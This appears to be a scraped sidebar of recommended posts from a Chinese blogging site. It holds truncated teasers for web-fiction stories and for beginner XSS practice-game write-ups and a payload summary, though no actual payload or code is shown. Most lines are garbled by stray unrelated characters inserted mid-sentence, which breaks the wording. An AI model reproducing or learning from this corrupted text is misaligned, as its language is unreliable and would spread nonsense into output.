  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,626評(píng)論 3 342
  • 正文 我和宋清朗相戀三年货徙,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了左权。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,769評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡痴颊,死狀恐怖赏迟,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情蠢棱,我是刑警寧澤锌杀,帶...
    沈念sama閱讀 36,439評(píng)論 5 351
  • 正文 年R本政府宣布,位于F島的核電站泻仙,受9級(jí)特大地震影響糕再,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜饰豺,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,115評(píng)論 3 335
  • 文/蒙蒙 一亿鲜、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦蒿柳、人聲如沸饶套。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,601評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)妓蛮。三九已至,卻和暖如春圾叼,著一層夾襖步出監(jiān)牢的瞬間蛤克,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,702評(píng)論 1 274
  • 我被黑心中介騙來(lái)泰國(guó)打工夷蚊, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留构挤,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,191評(píng)論 3 378
  • 正文 我出身青樓惕鼓,卻偏偏與公主長(zhǎng)得像筋现,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子箱歧,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,781評(píng)論 2 361

推薦閱讀更多精彩內(nèi)容

  • 前言 這是比較簡(jiǎn)單的xss練習(xí)小游戲矾飞,非常適合入門。一直以來(lái)呀邢,對(duì)xss的內(nèi)容總感覺(jué)有一些屏障洒沦,應(yīng)該是因?yàn)閯?dòng)手實(shí)踐太...
    煊奕閱讀 2,865評(píng)論 0 2
  • XSS常見Payload總結(jié) XSS漏洞的存在與發(fā)生伴隨兩個(gè)概念: 輸入函數(shù)和輸出函數(shù)。XSS攻擊Payload...
    BerL1n閱讀 2,746評(píng)論 0 3
  • 之前積累了XSS 有一段時(shí)間价淌,因?yàn)槟壳伴_始了一件有趣的工程申眼,需要整合非常多的知識(shí),其中Web 安全這一塊出現(xiàn)最多的...
    刀背藏身閱讀 9,085評(píng)論 0 16
  • level 1 一開始界面上什么都沒(méi)有,一般是從url上想辦法順便查一下php代碼买乃, window.alert ...
    沙雕帶你蒿羊毛閱讀 7,899評(píng)論 0 4
  • 在知識(shí)星球上看到別人發(fā)的一個(gè)XSS靶場(chǎng)姻氨,剛好適合刷完sql-labs的我學(xué)習(xí)XSS level1 沒(méi)有任何過(guò)濾,直...
    2mpossible閱讀 13,520評(píng)論 0 5